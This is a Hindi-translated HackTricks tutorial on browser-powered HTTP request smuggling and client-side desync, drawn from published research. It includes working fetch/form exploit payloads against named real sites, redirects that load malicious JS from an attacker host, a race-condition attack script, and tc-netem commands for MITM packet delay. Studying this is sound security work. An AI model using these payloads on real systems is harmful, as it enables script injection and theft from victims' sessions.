hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md

ब्राउज़र HTTP अनुरोध स्मगलिंग

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
• The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
• आधिकारिक PEASS & HackTricks swag प्राप्त करें
• 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**.
• अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके अपनी ट्रिक्स साझा करें।

CL.0/H2.0 ब्राउज़र-संगत डीसिंक

यह सुरक्षा कमजोरी उत्पन्न होती है जब बैकएंड सर्वर द्वारा Content Length (CL) हैडर को पूरी तरह से अनदेखा किया जाता है। फिर, बैकएंड बॉडी को दूसरे अनुरोध के विधि की शुरुआत के रूप में व्यवहार करता है। CL को अनदेखा करना उसे 0 की मान के रूप में व्यवहार करने के समान है, इसलिए यह एक CL.0 डीसिंक है - एक ज्ञात लेकिन कम प्रयोग की जाने वाली हमला वर्ग है।

हमला संभव था क्योंकि बैकएंड सर्वर बस एक POST अनुरोध की उम्मीद नहीं कर रहा था।

{% hint style="warning" %} ध्यान दें कि यह सुरक्षा कमजोरी पूरी तरह से मान्य, विनिर्देश-अनुरूप HTTP अनुरोध द्वारा ट्रिगर हो रही है। इसका मतलब है कि फ्रंट-एंड को कोई सुरक्षा नहीं है और यह ब्राउज़र द्वारा भी ट्रिगर किया जा सकता है। {% endhint %}

CL.0 और H2.0 के बीच केवल एक अंतर है कि दूसरा वाला HTTP2 का उपयोग कर रहा है (जिसमें एक निहित सामग्री-लंबाई हैडर होता है) लेकिन बैकएंड उसे भी उपयोग नहीं कर रहा है।

क्लाइंट-साइड डीसिंक

पारंपरिक डीसिंक हमले एक फ्रंट-एंड और बैकएंड सर्वर के बीच की कनेक्शन को पॉइज़न करते हैं, और इसलिए वे उन वेबसाइट्स पर असंभव हैं जो एक फ्रंट-एंड/बैकएंड संरचना का उपयोग नहीं करती हैं। ये अब से सर्वर-साइड डीसिंक हैं। अधिकांश सर्वर-साइड डीसिंक केवल एक कस्टम HTTP क्लाइंट द्वारा एक अवैध अनुरोध जारी करने से ट्रिगर किए जा सकते हैं।

ब्राउज़र को एक डीसिंक को कारण बनाने की क्षमता एक पूरी नई श्रेणी के संकट को संभव करती है जिसे क्लाइंट-साइड डीसिंक (CSD) कहा जाता है। CSD हमला उस पीड़ित के वेबसाइट पर जाने के बाद शुरू होता है, जिसके बाद उसका ब्राउज़र उस वेबसाइट को दो क्रॉस-डोमेन अनुरोध भेजता है। पहला अनुरोध ब्राउज़र की कनेक्शन को डीसिंक करने और दूसरे अनुरोध को ट्रिगर करने के लिए तैयार किया जाता है, जो आमतौर पर हानिकारक प्रतिक्रिया देता है,

पुष्टि करें

सबसे पहले, हमें हमला शुरू करने के लिए एक साइट का चयन करना होगा। यह साइट HTTPS के माध्यम से पहुंची जानी चाहिए और लक्ष्य से अलग डोमेन पर स्थित होनी चाहिए।

अगले, सुनिश्चित करें कि आपके पास प्रॉक्सी कॉन्फ़िगर नहीं है, फिर अपनी हमला साइट पर ब्राउज़ करें। डेवलपर टूल्स खोलें और नेटवर्क टैब पर स्विच करें। पोटेंशियल समस्याओं के बाद में बग दुरुस्त करने में मदद करने के लिए, मैं निम्नलिखित समायोजनों की सिफारिश करता हूँ:

• "लॉग संरक्षित रखें" चेकबॉक्स का चयन करें।
• कॉलम हैडर पर दायां तरफ क्लिक करें और "कनेक्शन आईडी" कॉलम को सक्षम करें।

डेवलपर कंसोल पर स्विच करें और fetch() का उपयोग करके अपने हमला क्रम को प्रतिरूपित करने के लिए जावास्क्रिप्ट को निष्पादित करें। यह कुछ इस तरह दिख सकता है:

fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})

मैंने फेच मोड 'no-cors' सेट किया है ताकि Chrome नेटवर्क टैब में कनेक्शन आईडी दिखाएं। मैंने भी credentials: 'include' सेट किया है क्योंकि Chrome में दो अलग कनेक्शन पूल होते हैं - कुकीज़ के साथ अनुरोधों के लिए एक और कुकीज़ के बिना अनुरोधों के लिए एक। आप आमतौर पर नेविगेशन का उपयोग करना चाहेंगे, और वे 'with-cookies' पूल का उपयोग करते हैं, इसलिए इस पूल को हमेशा पॉइज़न करने की आदत डालने में लायक है।

जब आप इसे निष्पादित करते हैं, तो आपको नेटवर्क टैब में दो अनुरोध दिखाई देंगे जिनमें समान कनेक्शन आईडी होगी, और दूसरा अनुरोध एक 404 ट्रिगर करेगा:

यदि यह उम्मीद के अनुसार काम करता है, तो बधाई हो - आपने खुद को एक क्लाइंट-साइड डीसिंक का पता लगा लिया है!

शोध - स्टोर

एक विकल्प है कि आप लक्षित साइट पर ऐसी कार्यक्षमता की पहचान करें जो आपको पाठ डेटा संग्रहित करने की अनुमति देती है, और प्रीफिक्स को ऐसे तैयार करें कि आपके पीड़ित कुकीज़, प्रमाणीकरण हैडर्स, या पासवर्ड ऐसे स्थान पर संग्रहीत हों जहां से आप उन्हें पुनः प्राप्त कर सकते हैं। यह हमला फ्लो सर्वर-साइड अनुरोध डीसिंक करने के लिए लगभग एक ही तरीके से काम करता है, इसलिए मैं इस पर ज्यादा विचार नहीं करूंगा।

शोध - चेन और पिवट

सामान्य परिस्थितियों में, कई प्रकार के सर्वर-साइड हमले केवल उस हमलावर के द्वारा शुरू किए जा सकते हैं जिसके पास लक्षित वेबसाइट तक सीधा पहुंच होती है क्योंकि वे HTTP अनुरोधों पर निर्माण करते हैं जिन्हें ब्राउज़र भेजने से इनकार करते हैं, जैसे कि HTTP हेडर्स के साथ छेड़छाड़ करना - वेब कैश पॉइज़निंग, सबसे अधिक सर्वर-साइड अनुरोध डीसिंक, होस्ट-हेडर हमले, यूज़र-एजेंट आधारित SQLi, CSRF JSON सामग्री प्रकार और अनेक अन्य।

सफल हमले के लिए सबसे सरल मार्ग दो मुख्य तकनीकों से आया जो सामान्यतः सर्वर-साइड डीसिंक हमलों के लिए उपयोग किए जाते हैं: होस्ट-हेडर रीडायरेक्ट के माध्यम से जावास्क्रिप्ट संसाधन पॉइज़निंग, और हानिकारक HTML के साथ एक प्रतिक्रिया को स्प्लाइस करने के लिए HEAD विधि का उपयोग करना। दोनों तकनीकों को अनुकूलित करने के लिए कुछ नवीनतम चुनौतियों को पार करने की आवश्यकता थी जो पीड़ित के ब्राउज़र में कार्य करने से जुड़ी थीं।

हमला उदाहरण

स्टैक्ड हेड उदाहरण

• रंगीन हमला

• JS हमला

fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va

व्याख्या:

• /assets में CL.0 का दुरुपयोग करें (यह /assets/ पर रीडायरेक्ट करता है और CL की जांच नहीं करता है)
• HEAD अनुरोध को अपमानित करें (क्योंकि HEAD प्रतिक्रियाएं अभी भी एक सामग्री-लंबाई को संबोधित करती हैं)
• प्रतिक्रिया में प्रतिबिंबित होने वाले GET अनुरोध को अपमानित करें, जिसकी सामग्री प्रतिक्रिया में प्रतिबिंबित होगी।
• HEAD अनुरोध की सामग्री-लंबाई के कारण, इस अनुरोध की प्रतिक्रिया HEAD अनुरोध के शरीर की होगी।
• कॉर्स मोड सेट करें। सामान्यतः यह नहीं किया जाता है, लेकिन इस मामले में सर्वर की प्रारंभिक POST की प्रतिक्रिया एक रीडायरेक्ट है जो अगर अनुसरण किया जाएगा तो उत्पादन कार्य नहीं करेगा। इसलिए, कॉर्स मोड का उपयोग एक त्रुटि को उत्पन्न करने और पीड़ित को रीडायरेक्ट करने के लिए किया जाता है।

होस्ट हैडर रीडायरेक्ट + क्लाइंट-साइड कैश पॉइजनिंग

• JS उत्पीड़न

fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })

• /+webvpn+/ पर एक अनुरोध जिसमें Host हैडर में अलग डोमेन होता है, /+webvpn+/index.html पर एक रीडायरेक्ट के साथ उत्तर दिया जाता है जो Host हैडर के डोमेन की ओर होता है।
• दूसरे अनुरोध में स्थान /+CSCOE+/win.js पर सेट किया जाता है ताकि उस .js फ़ाइल के कैश को पॉइज़न किया जा सके।
• इस अनुरोध का उत्तर /+webvpn+/ के रीडायरेक्ट के साथ दिया जाएगा और यह रीडायरेक्ट होगा /+webvpn+/index.html के आक्रमक डोमेन के साथ होगा।
• win.js का कैश एक रीडायरेक्ट के साथ पॉइज़न किया जाएगा जो हमलावर के पेज की ओर होगा, लेकिन विक्टिम भी रीडायरेक्ट का पालन करेगा क्योंकि इसे location चर में निर्धारित किया गया है और वह हमलावर के वेब पेज में समाप्त होगा।
• फिर हमलावर विक्टिम को https://redacted/+CSCOE+/logon.html पर रीडायरेक्ट करेगा। इस पेज में /+CSCOE+/win.js को आयात किया जाएगा। जिसका कैश एक रीडायरेक्ट होता है हमलावर के सर्वर की ओर, इसलिए हमलावर एक खतरनाक JS के साथ प्रतिक्रिया कर सकता है।

विक्टिम द्वारा हमलावर के पेज का दोहरा पहुंच होगा, पहले में वह एक HTML की उम्मीद करेगा जो विक्टिम को https://redacted/+CSCOE+/logon.html पर वापस रीडायरेक्ट करेगा और दूसरे में वह जावास्क्रिप्ट कोड की उम्मीद करेगा (पेलोड)। एक पॉलिग्लॉट का उपयोग किया जा सकता है ताकि दोनों प्रतिक्रियाएँ केवल एक में सेव की जा सकें:

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

HEAD पेलोड चंक्ड TE के साथ

CSD की तलाश करते समय आप /..%2f या /%2f जैसे अर्ध-विकृत URL का भी परीक्षण कर सकते हैं।

• रंगीन अपवाद

• JS अपवाद

fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}

• पृष्ठ /%2f तक पहुंचा जाता है ताकि CL.0 कमजोरी का शोध लगाया जा सके।
• एक HEAD अनुरोध को एक Transfer-Encoding: chunked हैडर का उपयोग करके चोरी किया जाता है।
• इस स्थिति में यह हैडर आवश्यक है क्योंकि अन्यथा सर्वर एक शरीर वाले HEAD अनुरोध को स्वीकार करने से इनकार करता है।
• फिर, उपयोगकर्ता एक POST भेजता है जिसके शरीर में पिछले HEAD अनुरोध का अंत चंक और एक नया अनुरोध जो चोरी किया गया है शामिल होता है जिसमें सामग्री (JS पेलोड) होती है जो प्रतिक्रिया में प्रतिबिंबित होगी।
• इसलिए ब्राउज़र HEAD अनुरोध को POST अनुरोध के रूप में प्रतिक्रिया के रूप में देखेगा जिसमें उपयोगकर्ता के इनपुट को प्रतिबिंबित करने वाली शरीर प्रतिक्रिया भी होगी।

होस्ट हेडर पुनर्निर्देशन + RC

• JS शोषण

<script>
function reset() {
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}

function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}

function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

इस मामले में, फिर से, एक होस्ट हैडर रीडायरेक्ट है जिसका उपयोग JS इम्पोर्ट को हाइजैक करने के लिए किया जा सकता है। हालांकि, इस बार रीडायरेक्ट को कैश नहीं किया जा सकता, इसलिए क्लाइंट-साइड कैश पॉइज़निंग कोई विकल्प नहीं है।

इसलिए, हमारे द्वारा किया जाने वाला हमला यह होगा कि पीड़ित पृष्ठ को एक टैब में एक्सेस करें और फिर, जब पृष्ठ JS फ़ाइल लोड करने की कोशिश करे, सॉकेट स्मगलिंग कनेक्शन (इस मामले में 3) को पॉइज़न करें। क्योंकि समयबद्धता बहुत सटीक होनी चाहिए, हमला हर बार एक नई टैब पर करें जब तक यह काम नहीं करता है।

{% hint style="warning" %} ध्यान दें कि इस मामले में /meeting_testjs.cgi को हमला किया गया क्योंकि यह एक 404 के साथ जवास्क्रिप्ट लोड करता है, इसलिए इसे कैश नहीं किया जाता है। अन्य स्थितियों में जहां आप एक कैश किए गए JS को हमला करने की कोशिश करते हैं, आपको इसे कैश से हटने का इंतजार करना होगा और फिर एक नया हमला शुरू करना होगा। {% endhint %}

सारांश कदम:

• एक नई विंडो खोलें।
• लक्ष्य को एक ताजगी कनेक्शन स्थापित करने के लिए एक अहानिकारक अनुरोध जारी करें, जिससे समयबद्धता और सुस्ती बढ़े।
• विंडो को लक्ष्य पृष्ठ /meeting_testjs.cgi पर नेविगेट करें।
• 120ms बाद, रीडायरेक्ट गैजेट का उपयोग करके तीन पॉइज़न कनेक्शन बनाएं।
• 5ms बाद, /meeting_testjs.cgi को रेंडर करते समय पीड़ित व्यक्ति उम्मीदवारता से /appletRedirect.js इम्पोर्ट करने का प्रयास करेगा और उसे x.psres.net पर रीडायरेक्ट किया जाएगा, जो दुष्ट JS सर्व करेगा।
• यदि ऐसा नहीं होता है, तो हमला फिर से करें।

पॉज़-आधारित डीसिंक

पॉज़ करने से नई डीसिंक संभावनाएं बनाई जा सकती हैं, जिससे गलत मानसिक अनुमानित समय-आउट कार्यान्वयन को ट्रिगर किया जा सकता है।

इसलिए, एक हमलावर एक अनुरोध को भेज सकता है हैडर इंगित करते हुए कि एक बॉडी है, और फिर बॉडी भेजने से पहले फ्रंट-एंड का समय-आउट इंतजार करें। यदि फ्रंट-एंड समय-आउट हो जाता है लेकिन कनेक्शन खुली छोड़ देता है, तो उस अनुरोध का बॉडी एक नए अनुरोध के रूप में व्यवहारिक होगा।

उदाहरण: वार्निश

वार्निश कैश में synth() नामक एक सुविधा होती है, जिसके द्वारा आप एक अनुरोध को बैक-एंड को फ़ॉरवर्ड किए बिना एक प्रतिक्रिया जारी कर सकते हैं। यहां एक उदाहरण नियम दिया गया है जिसका उपयोग एक फ़ोल्डर तक पहुंच को ब्लॉक करने के लिए किया जा रहा है:

if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}

एक आंशिक अनुरोध को प्रोसेस करते समय जब वर्निश एक सिंथ नियम के साथ मेल खाता है, तो अगर यह 15 सेकंड तक कोई डेटा प्राप्त नहीं करता है तो टाइमआउट हो जाता है। जब ऐसा होता है, तो यह कनेक्शन खोले रखता है ताकि इसे पुनः उपयोग के लिए उपयोग किया जा सके, हालांकि इसने सिर्फ सोकेट से अर्धांश अनुरोध पढ़ा है। इसका मतलब है कि अगर क्लाइंट दूसरा अर्धांश HTTP अनुरोध के साथ आगे बढ़ता है, तो यह एक नया अनुरोध के रूप में व्याख्या किया जाएगा।

एक संकटापन्न फ्रंट-एंड पर एक पॉज-आधारित डिसिंक को ट्रिगर करने के लिए, अपने हेडर भेजकर शुरू करें, एक बॉडी का वादा करें और फिर बस इंतजार करें। अंततः आपको एक प्रतिक्रिया प्राप्त होगी और जब आप अपना अनुरोध बॉडी भेजेंगे, यह एक नया अनुरोध के रूप में व्याख्या किया जाएगा:

{% hint style="warning" %} जैसा कि दिखाया गया है, इसे 25 जनवरी को CVE-2022-23959 के रूप में पैच किया गया था। {% endhint %}

उदाहरण: एपाची

वर्निश की तरह, यह सर्वर आवेदन को संभालने की बजाय स्वयं प्रतिक्रिया उत्पन्न करने वाले संदर्भों पर संकटापन्न होता है। इसका एक तरीका सर्वर स्तरीय पुनर्निर्देशन के साथ होता है: Redirect 301 / /en

सर्वर-साइड शोषण

यदि संकटापन्न सर्वर (एपाची या वर्निश इस मामले में) बैक-एंड में है, तो एक फ्रंट-एंड की आवश्यकता होती है जो अनुरोध को बैक-एंड सर्वर (इस मामले में HTTP हेडर) को बफरिंग किए बिना स्ट्रीम करता है।

इस मामले में हमलावर जब तक वह बॉडी नहीं भेजता है, तब तक उत्तर टाइमआउट नहीं प्राप्त होगा। लेकिन यदि उसे टाइमआउट का पता है तो यह कोई समस्या नहीं होनी चाहिए।

अमेज़न का एप्लीकेशन लोड बैलेंसर (ALB) डेटा कनेक्शन को आवश्यकतानुसार स्ट्रीम करेगा, लेकिन यदि वह अर्धांश अनुरोध (टाइमआउट) प्राप्त करने से पहले बॉडी (अनुरोध) प्राप्त करता है, तो वह बॉडी नहीं भेजेगा, इसलिए यहां एक रेस कंडीशन का शोषण किया जाना चाहिए:

एपाची ALB के पीछे शोषण करने के मामले में एक अतिशय छोटी समय-खिड़की होती है - दोनों सर्वरों का डिफ़ॉल्ट टाइमआउट 60 सेकंड होता है। इससे अनुरोध के दूसरे हिस्से को भेजने के लिए एक अत्यंत संकीर्ण समय-खिड़की बचती है। RC हमला अंततः 66 घंटे के बाद सफल रहा।

MITM शोषण

एक पॉज-डिसिंक संकटापन्नता को शोषण करने के लिए ब्राउज़र से एक अनुरोध को रोकना संभव नहीं है लेकिन आप हमेशा एक MITM हमला करके ब्राउज़र द्वारा भेजे गए एक अनुरोध को रोक सकते हैं। ध्यान दें कि इस हमले में किसी भी ट्रैफिक को डिक्रिप्ट करने की आवश्यकता नहीं होती है।

हमला फ्लो एक नियमित क्लाइंट-साइड डिसिंक हमले के बहुत समान होता है। उपयोगकर्ता एक हमलावर नियंत्रित पृष्ठ पर जाता है, जो लक्षित एप्लिकेशन को एक श्रृंखला के क्रॉस-डोमेन अनुरोध जारी करता है। पहला HTTP अनुरोध इतना बड़ा होता है कि ऑपरेटिंग सिस्टम इसे एकाधिक TCP पैकेटों में विभाजित करता है, जिससे एक सक्रिय MITM अंतिम पैकेट को विलंबित कर सकता है, जो एक पॉज-आधारित डिसिंक को ट्रिगर करता है। पैडिंग के कारण, हमलावर यह निर्धारित कर सकता है कि कौन सा पैकेट विलंबित करें आकार के आधार पर।

क्लाइंट-साइड से यह एक नियमित क्लाइंट-साइड डिसिंक की तरह दिखता है, अनुरोध पैडिंग के अलावा:

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

आक्रमक प्रणाली पर अंधकार MITM करने वाले हमलावर सिस्टम पर, देरी को tc-NetEm का उपयोग करके लागू किया गया था:

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

संदर्भ

• इस पोस्ट की सभी जानकारी https://portswigger.net/research/browser-powered-desync-attacks से ली गई है।

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
• खोजें The PEASS Family, हमारा विशेष NFT संग्रह।
• प्राप्त करें आधिकारिक PEASS & HackTricks swag
• शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
• अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें।